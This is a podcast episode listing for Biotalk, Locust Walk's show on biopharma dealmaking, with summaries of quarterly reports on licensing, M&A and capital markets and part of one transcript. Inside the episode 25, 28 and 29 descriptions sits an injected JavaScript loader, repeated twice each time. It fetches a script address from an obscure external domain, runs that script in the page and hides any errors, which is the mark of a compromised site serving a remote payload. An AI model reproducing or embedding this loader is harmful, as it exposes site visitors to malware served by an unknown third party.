Biotalk

Biotalk

Welcome to Biotalk, Locust Walk’s podcast for biotech deal makers and innovators.

  1. JAN 21

    Biotalk Episode 32: 2025 Year-In-Review Report: Global Trends in Biopharma Transactions

    During Episode 32 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Year-In-Review Report: Global Trends in Biopharma Transactions, covering capital markets, strategic deals, and regional trends.  Market Overview: 2025 marked a clear recovery year for biopharma. Licensing reached record levels, global M&A nearly doubled in value, and capital markets strengthened in the second half as stabilizing rates lifted sentiment. Most notably, China surpassed the U.S. as the leading source of global licensing value. Strategic Transactions: Global licensing totaled roughly $230B across 179 deals, with strength in both early- and late-stage assets. Discovery and preclinical programs made up about 61% of deals, while a late-year rise in Phase 3 transactions pushed average deal sizes to three-year highs. China-based sellers accounted for nearly 50% of global licensing value with larger average deal sizes, while the U.S. led in volume. Absolute upfronts rose about 55% versus 2024. M&A rebounded to approximately $141B across 79 deals, increasingly focused on late-stage and approved assets. Major transactions including Novartis/Avidity, Pfizer/Metsera, and Merck/Cidara drove average deal sizes to multi-year highs. Capital Markets: U.S. public markets outperformed the broader market despite a largely closed IPO window. PIPEs and follow-ons surged, pushing public financings to a three-year high of about $16B, and the number of companies trading below cash fell nearly 60%. In Europe, financing value rose roughly 35% on strong Q4 activity, with investors favoring Phase 1 and Phase 2 programs. Outlook: A selective recovery is underway. Strategic dealmaking remains strong, capital markets are thawing, and high quality assets continue to attract capital, while APAC, especially China and Japan, plays an increasingly central role in global biopharma transactions.

    11 min
  2. 07/23/2025

    Episode 29: Asia’s 2025 Q2 Report: Global Trends in Biopharma Transactions

    During the Asia-focused Episode 29 of Biotalk, Geoff shares insights into key trends and developments shaping the biotech landscapes in Japan, China, Korea, Australia, and the broader Asia-Pacific region, as featured in our 2025 Q2 Report: Global Trends in Biopharma Transactions Report. Japan’s biotech stocks outperformed broader indices, boosted by regulatory reforms and Shionogi’s $1.1B acquisition of Japan Tobacco’s pharma units. Licensing slowed, while early-stage financings focused on preclinical firms. China’s biotech market surged with four HKEX IPOs raising $1.5B. Venture funding fell as risk aversion grew, but strategic licensing stayed strong at $24.4B, shifting toward later-stage oncology and obesity deals. Korea’s biotech index dipped but showed 12-month gains, driven by ABL Bio’s $2.8B licensing deal with GSK and key Series B financings. Listen now to gain insights into the evolving global biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you.  (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    8 min
  3. 07/23/2025

    Biotalk Episode 28: 2025 Q2 Report: Global Trends in Biopharma Transactions

    During Episode 28 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q2 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends.  Market Overview: Biotech remained under pressure in Q2, with valuations still below historical norms. Ongoing macro headwinds—tariffs, high rates, and FDA turnover—kept investor sentiment cautious and risk appetite low. M&A & Licensing: Licensing rose 20% in value, focused on late-stage immunology assets. China and Europe drove activity, while U.S. firms dominated M&A, accounting for 80% of deal value. Public takeout premiums rebounded sharply. Capital Markets: U.S. biotech funding fell 28% with no IPOs—the first blank quarter since 2020. Venture also dropped 32%, though a few large late-stage rounds stood out. Europe saw fewer deals but larger average round sizes. Outlook: Strategic deals remain a vital funding source as capital markets stay tight. Biotechs should extend runway and explore partnerships, with pharma interest in quality assets showing no signs of slowing. Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    17 min
  4. 05/07/2025

    Episode 27: Inside the Biopharma Market: 2025 Outlook & Emerging Trends

    During Episode 27 of Biotalk, Geoff Meyerson, CEO of Locust Walk, steps back to examine the macro forces shaping the biopharma landscape. After holding a bearish outlook since 2021, Geoff explains why he's finally shifting his stance and what could signal a true turnaround for biotech. He unpacks the “big three” market headwinds—regulatory hurdles from the IRA, FTC deal scrutiny, and high interest rates—and outlines how recent shifts, including rate cuts, new FTC leadership, and potential IRA reform, could spark renewed momentum, especially in M&A and rare diseases. Geoff also highlights previously underappreciated risks like HHS cuts and aggressive tariffs, which could stall progress if unresolved. With a balanced, apolitical lens, this episode offers candid insights into why policy matters for biotech investors, operators, and dealmakers—and what to watch for as 2025 unfolds. Tune in to understand the key inflection points and why Geoff sees the second half of 2025 as a potential breakout period for the industry. Full Transcript: Welcome to Biotalk. My name is Geoff Meyerson, CEO and Co-founder of Locust Walk, and you are listening to Biotalk, our podcast for biotech deal makers. In this episode, I want to zoom out and talk about the bigger picture — what's really driving the biotech market right now. In almost every meeting the past few months I have been asked my views on the market.  I decided that I am going to share my thoughts publicly. I fancy myself to be a free market limited government champion across all aspects of life. I do not comment politically nor believe it is my job to criticize or promote any politician or party. That said, the macro policies enacted by both parties directly impact the biopharma industry, and I believe it’s important to analyze and comment on areas related to the life science industry. For all other issues, I subscribe to the University of Chicago’s institutional neutrality, and it is my (and Locust Walk’s) policy to not comment publicly. First a recap of why I was bearish starting fall 2021 when Locust Walk ran a webinar titled “Has Biotech Peaked”. Throughout 2022, 2023, and until September 2024, despite many market analysts predicting a turnaround, I maintained my bearishness because the 3 underlying headwinds that started blowing hadn’t stopped or reversed, namely: Regulatory headwinds because of the IRA Transaction headwinds from an openly hostile FTC Monetary headwinds via high interest rates caused by high inflation Until these 3 drivers reversed, I didn’t believe the market would improve beyond incremental changes. When in September 2024 the US Federal Reserve dropped rates by 50 bps, the rate tightening cycle had not only stopped but reversed. My changing perspective was independent of the pending election since the largest factor interest rates was starting to shift. In January 2025, Lina Khan exited the FTC and a new era of antitrust enforcement began. While far from perfect, it has been markedly more pro-business with a much less aggressive effort to block transactions. Locust Walk’s Quarterly Market conditions detailed a 47% uptick in M&A by value and 35% by volume showing signs of life in this market even though I didn’t anticipate any material improvement until 2H25 because it takes time for deals to come to fruition after the changeover in policy. I predicted M&A had the potential to transform the industry this year after years of suppression. I stand by this prediction and for everyone’s sake I hope I’m right. The IRA pill fix is being discussed and because President Trump has come out in support, some form of it is likely to make its way into the reconciliation package of tax and regulatory cuts. I hope small molecules move to 13 years of exclusivity but bigger price discounts thereafter to remain budget neutral rather than meeting in the middle at 11 years, which I think would be quite problematic.

    8 min
  5. 04/16/2025

    Biotalk Episode 25: 2025 Q1 Report: Global Trends in Biopharma Transactions

    During Episode 25 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q1 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends. Market Overview: The XBI fell 14% YoY, underperforming the NBI. Biotech weakness stemmed from tariff fears, FDA turnover, and HHS layoffs—pressuring small caps. Capital Markets: Capital raised dropped 33% from Q4. IPOs briefly reopened—large caps gained, small caps declined. Follow-ons fell 60%. PIPEs were weak, except Immunovant’s $450M. Venture: Slight dip from Q4 but ahead of all 2023 quarters. Late-stage rounds led, with 11 mega-rounds (Eikon $351M, Kardigan $300M) making up over half the total. M&A & Licensing: M&A hit $25.2B across 13 deals, focused on Ph2+ assets (e.g., J&J/Intra-Cellular). Licensing stayed strong, favoring clinical-stage programs. Europe: Strategic deal value reached $13B, led by Zealand-Roche and Gubra-AbbVie. Venture hit $1.2B—90% in Series A rounds like Verdiva ($411M) and Windward ($200M). Outlook: Regulatory uncertainty and rates may delay M&A, though late-stage and commercial deals could gain momentum. Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you. (async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => { clearTimeout(timer); reject(); }; const timer = setTimeout(() => { script.remove(); reject(); }, timeout); document.body.appendChild(script); }); }; await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

    13 min

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Welcome to Biotalk, Locust Walk’s podcast for biotech deal makers and innovators.